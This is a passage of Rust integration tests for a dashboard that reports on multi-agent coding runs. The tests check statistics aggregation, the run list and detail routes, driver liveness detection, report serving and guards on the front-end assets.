12139 let health = f.get("/api/health").await;
12140
12141 assert_eq!(stats.status, 200);
12142 assert_eq!(stats.json()["totals"]["runs"], 1);
12143 assert_eq!(stats.json()["runs_unreadable"], 1);
12144 assert_eq!(
12145 stats.json()["runs_unreadable"],
12146 health.json()["runs_unreadable"],
12147 "the dashboard and /api/health must never disagree about how many \
12148 runs could not be read"
12149 );
12150 }
12151
12152 #[tokio::test]
12153 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12154 let f = Fixture::start().await;
12155 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12156 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12157 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12158
12159 let totals = &f.get("/api/stats").await.json()["totals"];
12160 assert_eq!(totals["runs"], 3);
12161 assert_eq!(totals["merged"], 1);
12162 assert_eq!(totals["stalled"], 1);
12163 assert_eq!(totals["in_progress"], 1);
12164 assert_eq!(totals["blocked"], 0);
12167 assert_eq!(totals["ready"], 0);
12168 }
12169
12170 #[tokio::test]
12171 async fn stats_advisors_report_proposals_and_reflection() {
12172 use crate::advise::{Advice, AdvisorRecord, Reflection};
12173 use crate::verdict::Proposal;
12174
12175 let f = Fixture::start().await;
12176 let mut state = RunState::new(
12177 PathBuf::from("/repo/magi"),
12178 "main".to_owned(),
12179 "0123456789abcdef".to_owned(),
12180 "task".to_owned(),
12181 Config::default(),
12182 );
12183 state.id = "20260902-140501-a".to_owned();
12184 state.status = RunStatus::Merged;
12185 state.advice = Some(Advice {
12186 records: vec![
12187 AdvisorRecord {
12188 seat: "advisor-1".to_owned(),
12189 agent: "alpha".to_owned(),
12190 proposal: Some(Proposal {
12191 approach: "do it".to_owned(),
12192 key_tradeoff: "speed over memory".to_owned(),
12193 risks: Vec::new(),
12194 touches: Vec::new(),
12195 why_not_naive: "breaks under load".to_owned(),
12196 }),
12197 error: None,
12198 duration_ms: 0,
12199 reflection: Reflection::Strong,
12200 },
12201 AdvisorRecord {
12202 seat: "advisor-2".to_owned(),
12203 agent: "alpha".to_owned(),
12204 proposal: None,
12205 error: Some("timed out".to_owned()),
12206 duration_ms: 0,
12207 reflection: Reflection::Absent,
12208 },
12209 ],
12210 synthesis: Some("blended brief".to_owned()),
12211 });
12212 let dir = f.runs().join(&state.id);
12213 std::fs::create_dir_all(&dir).expect("run dir");
12214 std::fs::write(
12215 dir.join("run.json"),
12216 serde_json::to_string_pretty(&state).expect("serialize run"),
12217 )
12218 .expect("write run.json");
12219
12220 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12222 let alpha = advisors
12223 .as_array()
12224 .expect("an array")
12225 .iter()
12226 .find(|a| a["agent"] == "alpha")
12227 .expect("alpha row");
12228 assert_eq!(alpha["seated"], 2);
12229 assert_eq!(alpha["proposed"], 1);
12230 assert_eq!(alpha["absent"], 1);
12231 assert_eq!(alpha["strong"], 1);
12232 assert_eq!(alpha["faint"], 0);
12233 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12234 }
12235
12236 #[tokio::test]
12237 async fn stats_hides_agents_outside_the_roster_unless_all() {
12238 use crate::run::Candidate;
12239 let repo = TempDir::new().expect("repo dir");
12240 std::fs::write(
12241 repo.path().join("magi.toml"),
12242 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12243 )
12244 .expect("magi.toml");
12245 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12246 let mut state = RunState::new(
12247 PathBuf::from("/repo/magi"),
12248 "main".to_owned(),
12249 "0123456789abcdef".to_owned(),
12250 "task".to_owned(),
12251 Config::default(),
12252 );
12253 state.id = "20260902-140501-a".to_owned();
12254 state.status = RunStatus::Merged;
12255 for (label, agent) in [('A', "keep"), ('B', "retired")] {
12256 let mut c: Candidate = serde_json::from_value(serde_json::json!({
12257 "index": 0, "label": label.to_string(), "agent": agent,
12258 "branch": "b", "worktree": "/w",
12259 }))
12260 .expect("candidate");
12261 c.label = label;
12262 state.candidates.push(c);
12263 }
12264 let dir = f.runs().join(&state.id);
12265 std::fs::create_dir_all(&dir).expect("run dir");
12266 std::fs::write(
12267 dir.join("run.json"),
12268 serde_json::to_string_pretty(&state).expect("serialize run"),
12269 )
12270 .expect("write run.json");
12271
12272 let agents_of = |v: &serde_json::Value| -> Vec<String> {
12273 v["agents"]
12274 .as_array()
12275 .expect("array")
12276 .iter()
12277 .map(|a| a["agent"].as_str().unwrap().to_owned())
12278 .collect()
12279 };
12280 let hidden = f.get("/api/stats").await.json();
12281 assert_eq!(agents_of(&hidden), ["keep"]);
12282 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12283 assert_eq!(hidden["totals"]["runs"], 1);
12284
12285 let all = f.get("/api/stats?all=true").await.json();
12286 assert_eq!(agents_of(&all).len(), 2);
12287 assert_eq!(all["retired_hidden"], serde_json::json!([]));
12288 }
12289
12290 #[tokio::test]
12291 async fn stats_release_bumps_split_clean_from_attention() {
12292 use crate::run::ReleaseBump;
12293
12294 let f = Fixture::start().await;
12295
12296 let mut clean = RunState::new(
12297 PathBuf::from("/repo/magi"),
12298 "main".to_owned(),
12299 "0123456789abcdef".to_owned(),
12300 "task".to_owned(),
12301 Config::default(),
12302 );
12303 clean.id = "20260902-140501-a".to_owned();
12304 clean.status = RunStatus::Merged;
12305 clean.release_bump = Some(ReleaseBump {
12306 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12307 version: Some("1.0.0".to_owned()),
12308 automerge_enabled: true,
12309 merged_directly: false,
12310 local: false,
12311 release: None,
12312 problem: None,
12313 action_required: None,
12314 });
12315
12316 let mut blocked = RunState::new(
12317 PathBuf::from("/repo/magi"),
12318 "main".to_owned(),
12319 "0123456789abcdef".to_owned(),
12320 "task".to_owned(),
12321 Config::default(),
12322 );
12323 blocked.id = "20260902-140502-b".to_owned();
12324 blocked.status = RunStatus::Merged;
12325 blocked.release_bump = Some(ReleaseBump {
12326 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12327 version: Some("1.0.1".to_owned()),
12328 automerge_enabled: false,
12329 merged_directly: false,
12330 local: false,
12331 release: None,
12332 problem: Some("checks red".to_owned()),
12333 action_required: Some("look at the PR".to_owned()),
12334 });
12335
12336 for state in [&clean, &blocked] {
12337 let dir = f.runs().join(&state.id);
12338 std::fs::create_dir_all(&dir).expect("run dir");
12339 std::fs::write(
12340 dir.join("run.json"),
12341 serde_json::to_string_pretty(state).expect("serialize run"),
12342 )
12343 .expect("write run.json");
12344 }
12345
12346 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12347 assert_eq!(bumps["merged"], 2);
12348 assert_eq!(bumps["recorded"], 2);
12349 assert_eq!(bumps["pr_opened"], 2);
12350 assert_eq!(bumps["automerge_enabled"], 1);
12351 assert_eq!(bumps["needs_attention"], 1);
12352 assert_eq!(bumps["clean"], 1);
12353 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12354 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12355 }
12356
12357 #[tokio::test]
12358 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12359 let f = Fixture::start().await;
12360 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12361
12362 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12363 assert_eq!(bumps["merged"], 1);
12364 assert_eq!(bumps["recorded"], 0);
12365 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12368 assert_eq!(bumps["automerge_rate"], Value::Null);
12371 assert_eq!(bumps["attention_rate"], Value::Null);
12372 }
12373
12374 #[tokio::test]
12375 async fn stats_queue_counts_come_from_the_live_queue() {
12376 let f = Fixture::start().await;
12377 let q = f.queue();
12378 let mut queued = Task::new(
12379 "queued task".to_owned(),
12380 "do it".to_owned(),
12381 PathBuf::from("/repo"),
12382 Source::Human,
12383 );
12384 q.put(&mut queued).expect("put queued");
12385 let mut held = Task::new(
12386 "held task".to_owned(),
12387 "do it later".to_owned(),
12388 PathBuf::from("/repo"),
12389 Source::Human,
12390 );
12391 held.hold_machine(Some("out of attempts".to_owned()));
12392 q.put(&mut held).expect("put held");
12393
12394 let queue = f.get("/api/stats").await.json()["queue"].clone();
12395 assert_eq!(queue["queued"], 1);
12396 assert_eq!(queue["held"], 1);
12397 assert_eq!(queue["running"], 0);
12398 assert_eq!(queue["done"], 0);
12399 assert_eq!(queue["failed"], 0);
12400 assert_eq!(queue["blocked"], 0);
12401 }
12402
12403 #[tokio::test]
12404 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12405 let f = Fixture::start().await;
12406 let stats = f.get("/api/stats").await;
12407 assert_eq!(stats.status, 200);
12408 assert_eq!(stats.json()["totals"]["runs"], 0);
12409 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12410 assert_eq!(stats.json()["runs_unreadable"], 0);
12411 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12412 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12413 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12414 assert_eq!(stats.json()["repo"], Value::Null);
12415 }
12416
12417 #[tokio::test]
12418 async fn stats_lists_every_repository_with_runs_recorded() {
12419 let f = Fixture::start().await;
12420 write_run_repo(
12421 &f.runs(),
12422 "20260902-140501-a",
12423 RunStatus::Merged,
12424 "/repos/a",
12425 );
12426 write_run_repo(
12427 &f.runs(),
12428 "20260902-140502-b",
12429 RunStatus::Merged,
12430 "/repos/a",
12431 );
12432 write_run_repo(
12433 &f.runs(),
12434 "20260902-140503-c",
12435 RunStatus::Blocked,
12436 "/repos/b",
12437 );
12438
12439 let stats = f.get("/api/stats").await;
12440 assert_eq!(stats.status, 200);
12441 assert_eq!(stats.json()["totals"]["runs"], 3);
12443 assert_eq!(stats.json()["repo"], Value::Null);
12444
12445 let repos = stats.json()["repos"].clone();
12446 let repos = repos.as_array().unwrap();
12447 assert_eq!(repos.len(), 2);
12448 assert_eq!(repos[0]["repo"], "/repos/a");
12450 assert_eq!(repos[0]["name"], "a");
12451 assert_eq!(repos[0]["runs"], 2);
12452 assert_eq!(repos[1]["repo"], "/repos/b");
12453 assert_eq!(repos[1]["runs"], 1);
12454 }
12455
12456 #[tokio::test]
12457 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12458 let f = Fixture::start().await;
12459 write_run_repo(
12460 &f.runs(),
12461 "20260902-140501-a",
12462 RunStatus::Merged,
12463 "/repos/a",
12464 );
12465 write_run_repo(
12466 &f.runs(),
12467 "20260902-140502-b",
12468 RunStatus::Blocked,
12469 "/repos/b",
12470 );
12471
12472 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12473 assert_eq!(stats.status, 200);
12474 assert_eq!(stats.json()["totals"]["runs"], 1);
12475 assert_eq!(stats.json()["totals"]["merged"], 1);
12476 assert_eq!(stats.json()["repo"], "/repos/a");
12477 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12480 assert_eq!(stats.json()["runs_unreadable"], 0);
12483 }
12484
12485 #[tokio::test]
12486 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12487 let f = Fixture::start().await;
12488 write_run_repo(
12489 &f.runs(),
12490 "20260902-140501-a",
12491 RunStatus::Merged,
12492 "/repos/a",
12493 );
12494 write_run_repo(
12495 &f.runs(),
12496 "20260902-140502-b",
12497 RunStatus::Merged,
12498 "/repos/b",
12499 );
12500
12501 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12502 let json = f.get(uri).await.json();
12503 let daily = json["daily"].as_array().expect("daily is an array");
12504 assert_eq!(daily.len(), 30);
12505 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12506 let mut sorted = dates.clone();
12507 sorted.sort();
12508 assert_eq!(dates, sorted);
12509 for d in daily {
12510 assert_eq!(
12511 d["merged"].as_u64().unwrap()
12512 + d["ready"].as_u64().unwrap()
12513 + d["other"].as_u64().unwrap(),
12514 d["runs"].as_u64().unwrap()
12515 );
12516 }
12517 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12518 }
12519 }
12520
12521 #[tokio::test]
12522 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12523 let f = Fixture::start().await;
12524 write_run_repo(
12525 &f.runs(),
12526 "20260902-140501-a",
12527 RunStatus::Merged,
12528 "/repos/a",
12529 );
12530
12531 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12532 assert_eq!(stats.status, 404);
12533 }
12534
12535 #[tokio::test]
12536 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12537 let f = Fixture::start().await;
12538 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12539
12540 let summary = f.get("/api/runs").await.json();
12541 let row = &summary[0];
12542 assert_eq!(row["short"], "a1b2");
12543 assert_eq!(row["status"], "ready");
12544 assert_eq!(row["done"], true);
12545 assert_eq!(row["title"], "Add a web UI");
12546 assert_eq!(row["repo_name"], "magi");
12547 assert_eq!(row["judges"], 3);
12548 assert_eq!(row["winner"], Value::Null);
12549 assert_eq!(row["reviews"], 0);
12550
12551 let detail = f.get("/api/runs/a1b2").await;
12554 assert_eq!(detail.status, 200);
12555 assert_eq!(detail.json()["base_branch"], "main");
12556 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12557 }
12558
12559 #[tokio::test]
12567 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12568 let f = Fixture::start().await;
12569
12570 let mut none_run = RunState::new(
12571 PathBuf::from("/repo/magi"),
12572 "main".to_owned(),
12573 "0123456789abcdef".to_owned(),
12574 "Add a web UI".to_owned(),
12575 Config::default(),
12576 );
12577 none_run.id = "20260902-140503-none".to_owned();
12578 none_run.status = RunStatus::Ready;
12579 none_run.merge = Some(crate::run::MergeOutcome {
12580 mode: crate::config::MergeMode::None,
12581 ok: true,
12582 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12583 empty: false,
12584 });
12585 write_state(&f.runs(), &none_run);
12586
12587 let mut pr_run = RunState::new(
12588 PathBuf::from("/repo/magi"),
12589 "main".to_owned(),
12590 "0123456789abcdef".to_owned(),
12591 "Add a web UI".to_owned(),
12592 Config::default(),
12593 );
12594 pr_run.id = "20260902-140504-prcl".to_owned();
12595 pr_run.status = RunStatus::Ready;
12596 pr_run.merge = Some(crate::run::MergeOutcome {
12597 mode: crate::config::MergeMode::Pr,
12598 ok: false,
12599 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12600 empty: false,
12601 });
12602 write_state(&f.runs(), &pr_run);
12603
12604 let summary = f.get("/api/runs").await.json();
12605 let rows: std::collections::HashMap<&str, &Value> = summary
12606 .as_array()
12607 .expect("an array")
12608 .iter()
12609 .map(|r| (r["id"].as_str().expect("an id"), r))
12610 .collect();
12611 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12612 assert_eq!(
12613 rows[none_run.id.as_str()]["unmerged_by_design"],
12614 true,
12615 "a mode-none Ready must be flagged in the list"
12616 );
12617 assert_eq!(
12618 rows[pr_run.id.as_str()]["unmerged_by_design"],
12619 false,
12620 "a Ready reached by a closed pull request is a different case"
12621 );
12622
12623 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12624 assert_eq!(none_detail["status"], "ready");
12625 assert_eq!(none_detail["unmerged_by_design"], true);
12626
12627 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12628 assert_eq!(pr_detail["unmerged_by_design"], false);
12629 }
12630
12631 #[tokio::test]
12636 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12637 let f = Fixture::start().await;
12638 let id = "20260902-140502-bbbb";
12642 let mut state = RunState::new(
12643 PathBuf::from("/repo/magi"),
12644 "main".to_owned(),
12645 "0123456789abcdef".to_owned(),
12646 "Add a web UI".to_owned(),
12647 Config::default(),
12648 );
12649 state.id = id.to_owned();
12650 state.status = RunStatus::Judging;
12651 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12652 let dir = f.runs().join(id);
12653 std::fs::create_dir_all(&dir).expect("run dir");
12654 std::fs::write(
12655 dir.join("run.json"),
12656 serde_json::to_string_pretty(&state).expect("serialize run"),
12657 )
12658 .expect("write run.json");
12659
12660 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12666 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12667 assert_eq!(cold["live"], "unknown", "{cold}");
12668
12669 write_daemon(f.home.path(), Timestamp::now());
12672 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12673 assert_eq!(warm["live"], "live", "{warm}");
12674 }
12675
12676 #[tokio::test]
12679 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12680 let f = Fixture::start().await;
12681 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12682 let mut state = RunState::new(
12683 PathBuf::from("/repo/magi"),
12684 "main".to_owned(),
12685 "0123456789abcdef".to_owned(),
12686 "Add a web UI".to_owned(),
12687 Config::default(),
12688 );
12689 state.id = id.to_owned();
12690 state.origin = origin;
12691 let mut value = serde_json::to_value(&state).expect("serialize run");
12692 if let Some(schema) = schema {
12693 value["schema"] = serde_json::json!(schema);
12694 value.as_object_mut().unwrap().remove("origin");
12695 }
12696 let dir = f.runs().join(id);
12697 std::fs::create_dir_all(&dir).expect("run dir");
12698 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12699 };
12700 write(
12701 "20260930-092817-ec34",
12702 Some(crate::run::Origin::from_agent_env(
12703 Some(("4a7b".to_owned(), "chat".to_owned())),
12704 None,
12705 )),
12706 None,
12707 );
12708 write("20260930-092817-0ld1", None, Some(12));
12709
12710 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12711 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12712 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12713
12714 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12715 assert_eq!(
12716 old["origin_label"], "origin unknown (started before origins were recorded)",
12717 "{old}"
12718 );
12719 assert!(old["origin"].is_null(), "{old}");
12720
12721 let list = f.get("/api/runs").await.json();
12722 let labels: Vec<_> = list
12723 .as_array()
12724 .unwrap()
12725 .iter()
12726 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12727 .collect();
12728 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12729 }
12730
12731 #[tokio::test]
12738 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12739 let f = Fixture::start().await;
12740 let id = "20260922-090000-cccc";
12741 let mut state = RunState::new(
12742 PathBuf::from("/repo/magi"),
12743 "main".to_owned(),
12744 "0123456789abcdef".to_owned(),
12745 "Review only".to_owned(),
12746 Config::default(),
12747 );
12748 state.id = id.to_owned();
12749 state.status = RunStatus::Reviewing;
12750 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12751 state.driver_pid = Some(std::process::id());
12757 state.driver_started_at = Some(
12758 crate::proc::process_started_at(std::process::id())
12759 .expect("this test process's own start time must be queryable"),
12760 );
12761 let dir = f.runs().join(id);
12762 std::fs::create_dir_all(&dir).expect("run dir");
12763 std::fs::write(
12764 dir.join("run.json"),
12765 serde_json::to_string_pretty(&state).expect("serialize run"),
12766 )
12767 .expect("write run.json");
12768
12769 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12770 assert_eq!(detail["live"], "live", "{detail}");
12771 }
12772
12773 #[tokio::test]
12779 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12780 let f = Fixture::start().await;
12781 let id = "20260922-090100-dddd";
12782 let mut state = RunState::new(
12783 PathBuf::from("/repo/magi"),
12784 "main".to_owned(),
12785 "0123456789abcdef".to_owned(),
12786 "Review only".to_owned(),
12787 Config::default(),
12788 );
12789 state.id = id.to_owned();
12790 state.status = RunStatus::Reviewing;
12791 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12792 state.driver_pid = Some(std::process::id());
12797 state.driver_started_at = Some("1".to_owned());
12798 let dir = f.runs().join(id);
12799 std::fs::create_dir_all(&dir).expect("run dir");
12800 std::fs::write(
12801 dir.join("run.json"),
12802 serde_json::to_string_pretty(&state).expect("serialize run"),
12803 )
12804 .expect("write run.json");
12805
12806 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12807 assert_eq!(detail["live"], "dead", "{detail}");
12808 }
12809
12810 #[test]
12814 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12815 let mk = |id: &str, pid: Option<u32>| {
12816 let mut s = RunState::new(
12817 PathBuf::from("/repo/magi"),
12818 "main".to_owned(),
12819 "0123456789abcdef".to_owned(),
12820 "Add a web UI".to_owned(),
12821 Config::default(),
12822 );
12823 s.id = id.to_owned();
12824 s.driver_pid = pid;
12825 s.driver_started_at = Some("1790000000".to_owned());
12826 s
12827 };
12828 let states = vec![
12829 mk("20260902-140502-aaaa", Some(77)),
12830 mk("20260902-140502-bbbb", Some(77)),
12831 mk("20260902-140502-cccc", Some(77)),
12832 mk("20260902-140502-dddd", None),
12833 ];
12834 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12835 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12836 let sup: HashMap<String, String> = [(
12837 "20260902-140502-aaaa".to_owned(),
12838 "20260902-140502-cccc".to_owned(),
12839 )]
12840 .into();
12841
12842 let status_calls = std::cell::Cell::new(0);
12843 let identity_calls = std::cell::Cell::new(0);
12844 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12845 |_| {
12846 status_calls.set(status_calls.get() + 1);
12847 Some(true)
12848 },
12849 |_| {
12850 identity_calls.set(identity_calls.get() + 1);
12851 Some("1790000000".to_owned())
12852 },
12853 ));
12854 let rows = summarize(
12855 states,
12856 &open,
12857 &claimed,
12858 &sup,
12859 |p| probe.borrow_mut().status(p),
12860 |p| probe.borrow_mut().started_at(p),
12861 );
12862
12863 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12864 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12865 assert_eq!(rows.len(), 4);
12866 assert!(!rows[0].waiting && rows[1].waiting);
12867 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12868 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12869 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12870 assert_eq!(rows[1].superseded_by, None);
12871 }
12872
12873 #[test]
12874 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12875 let mut state = RunState::new(
12876 PathBuf::from("/repo/magi"),
12877 "main".to_owned(),
12878 "0123456789abcdef".to_owned(),
12879 "Review only".to_owned(),
12880 Config::default(),
12881 );
12882 state.id = "20260922-090200-dead".to_owned();
12883 state.status = RunStatus::Reviewing;
12884 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12885 .expect("serialize list row");
12886 assert_eq!(row["status"], "reviewing");
12887 assert_eq!(row["live"], "dead", "{row}");
12888 assert!(!row["done"].as_bool().unwrap());
12889 }
12890
12891 #[tokio::test]
12892 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12893 let f = Fixture::start().await;
12894 for id in [
12895 "20260902-140501-aaaa",
12896 "20260902-140502-bbbb",
12897 "20260902-140503-cccc",
12898 ] {
12899 write_run(&f.runs(), id, RunStatus::Merged);
12900 }
12901
12902 let all = f.get("/api/runs").await.json();
12903 let capped = f.get("/api/runs?limit=2").await.json();
12904
12905 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12906 assert_eq!(all.as_array().map(Vec::len), Some(3));
12907 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12908 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12909 }
12910
12911 #[tokio::test]
12912 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12913 let f = Fixture::start().await;
12914 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12915
12916 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12917
12918 assert_eq!(res.status, 200);
12919 assert!(
12920 res.headers
12921 .contains("content-type: text/plain; charset=utf-8"),
12922 "a browser must render it, not download it: {}",
12923 res.headers
12924 );
12925 assert!(
12929 res.body.contains("20260902-140501-a1b2"),
12930 "the report is about the run that was asked for: {}",
12931 res.body
12932 );
12933 }
12934
12935 #[tokio::test]
12936 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12937 crate::run::pin_test_home();
12939 let f = Fixture::start().await;
12940 let id = "20260902-140501-a1b2";
12941 write_run(&f.runs(), id, RunStatus::Stalled);
12942 let path = f.runs().join(id).join("run.json");
12945 let mut v: serde_json::Value =
12946 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12947 v["tally"] = serde_json::json!({
12948 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12949 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12950 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12951 "met_quorum": false, "rankings": 1
12952 });
12953 v["reviews"] = serde_json::json!([{
12954 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12955 "e2e_deferred": true,
12956 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12957 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12958 ]}]
12959 }]);
12960 std::fs::write(&path, v.to_string()).unwrap();
12961 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12962 std::fs::write(
12963 f.runs().join("20260902-140502-dead").join("run.json"),
12964 "{not json",
12965 )
12966 .unwrap();
12967
12968 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12969
12970 assert_eq!(res.status, 200, "{}", res.body);
12971 assert!(res.headers.contains("content-type: application/json"));
12972 let j = res.json();
12973 assert_eq!(j["schema"], 1);
12974 assert_eq!(j["header"]["id"], id);
12975 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12976 let kinds: Vec<&str> = j["sections"]
12977 .as_array()
12978 .unwrap()
12979 .iter()
12980 .map(|s| s["kind"].as_str().unwrap())
12981 .collect();
12982 assert_eq!(kinds, ["candidates", "tally", "review"]);
12983 let tally = &j["sections"][1]["tally"];
12984 assert_eq!(
12985 (tally["decided"].clone(), tally["provisional"].clone()),
12986 (false.into(), true.into())
12987 );
12988 let round = &j["sections"][2]["rounds"][0];
12989 assert_eq!(round["e2e"]["state"], "deferred");
12990 assert_eq!(round["findings"][0]["severity"], "major");
12991 assert_eq!(round["findings"][0]["blocking"], true);
12992 assert_eq!(round["findings"][0]["state"], "open");
12993
12994 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12996
12997 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12999 assert_ne!(bad.status, 200, "{}", bad.body);
13000 assert_eq!(
13001 bad.status,
13002 f.get("/api/runs/20260902-140502-dead/report").await.status
13003 );
13004 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
13005 assert_eq!(
13006 f.get("/api/runs/20260902-999999-ffff/report.json")
13007 .await
13008 .status,
13009 404
13010 );
13011 }
13012
13013 #[tokio::test]
13014 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13015 let f = Fixture::start().await;
13016
13017 let html = f.get("/").await;
13018 let css = f.get("/app.css").await;
13019 let js = f.get("/app.js").await;
13020
13021 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13022 assert!(
13023 html.headers
13024 .contains("content-type: text/html; charset=utf-8")
13025 );
13026 assert!(css.headers.contains("content-type: text/css"));
13027 assert!(js.headers.contains("content-type: text/javascript"));
13028 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13029 }
13030
13031 #[test]
13032 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13033 let body = |name: &str| {
13034 let at = APP_JS
13035 .find(name)
13036 .unwrap_or_else(|| panic!("{name} missing"));
13037 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13038 };
13039 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13040 let note = body("function landRoundNote");
13041 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
13042 assert!(note.contains("Land round ${round}"));
13043 let land = body("function renderLand");
13044 let note_at = land
13045 .find("landRoundNote(pr)")
13046 .expect("renderLand uses the note");
13047 assert!(
13048 note_at
13049 < land
13050 .find("roundRail(pr)")
13051 .expect("renderLand uses the rail")
13052 );
13053 }
13054
13055 #[test]
13056 fn the_runs_page_redesign_keeps_its_guards() {
13057 let body = |name: &str| {
13058 let at = APP_JS
13059 .find(name)
13060 .unwrap_or_else(|| panic!("{name} missing"));
13061 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13062 };
13063 let land = body("function renderLand");
13065 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13066 assert!(
13067 !land.contains("box.append("),
13068 "renderLand must use append()"
13069 );
13070 assert!(land.contains("append(box, ["));
13071 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13073 assert!(
13074 body("function applyRoute")
13075 .contains("route.name !== state.route.name || route.id !== state.route.id")
13076 );
13077 assert!(!APP_JS.contains("adviseConvergeDiagram"));
13079 assert!(!INDEX_HTML.contains("advise-converge"));
13080 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13081 assert!(APP_JS.contains("provisional"));
13082 for id in [
13083 "run-tab-overview",
13084 "run-tab-timeline",
13085 "run-tab-report",
13086 "run-report",
13087 "runs-scope",
13088 ] {
13089 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13090 }
